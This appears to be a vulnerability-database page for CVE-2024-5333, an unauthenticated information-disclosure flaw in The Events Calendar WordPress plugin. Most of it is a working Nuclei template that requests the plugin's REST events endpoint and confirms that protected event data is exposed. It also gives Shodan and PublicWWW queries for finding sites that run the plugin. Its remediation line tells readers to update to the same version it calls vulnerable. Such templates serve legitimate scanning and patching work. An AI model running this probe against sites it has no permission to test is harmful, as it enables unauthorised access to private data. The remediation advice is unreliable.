CVE-2024-5333: WordPress Events Calendar 6.8.2.1 - Information Disclosure

2026-02-03 WordPress Events Calendar PoC Public

Description

The Events Calendar WordPress plugin 6.8.2.1 contains missing access checks in the REST API, letting unauthenticated users access information about password protected events, exploit requires no authentication.

PoC

id: CVE-2024-5333

info:
  name: WordPress Events Calendar 6.8.2.1 - Information Disclosure
  author: DhiyaneshDk
  severity: medium
  description: |
    The Events Calendar WordPress plugin 6.8.2.1 contains missing access checks in the REST API, letting unauthenticated users access information about password protected events, exploit requires no authentication.
  impact: |
    Unauthenticated users can access sensitive event information, potentially leading to information disclosure.
  remediation: |
    Update to version 6.8.2.1 or later.
  reference:
    - https://wpscan.com/vulnerability/764b5a23-8b51-4882-b899-beb54f684984/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5333
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-5333
    cwe-id: CWE-639
    epss-score: 0.01092
    epss-percentile: 0.63741
  metadata:
    verified: true
    max-request: 1
    vendor: stellarwp
    product: the_events_calendar
    framework: wordpress
    publicwww-query: "/wp-content/plugins/the-events-calendar/"
    shodan-query: html:"/wp-content/plugins/the-events-calendar/"
  tags: cve,cve2024,wordpress,wp,wp-plugin,the-events-calendar,disclosure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/tribe/events/v1/events/"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"events":'
          - '"rest_url":'
          - '"total":'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f485f094822fa405eeaa685b1c5a2ba6b06f844752a935ce7821f124afff5e3c022100896bc733a7a3e9fef1abd1767354f15317c0968f2a8945350bd68b2dc2321215:922c64590222798bb761d5b6d8e72950

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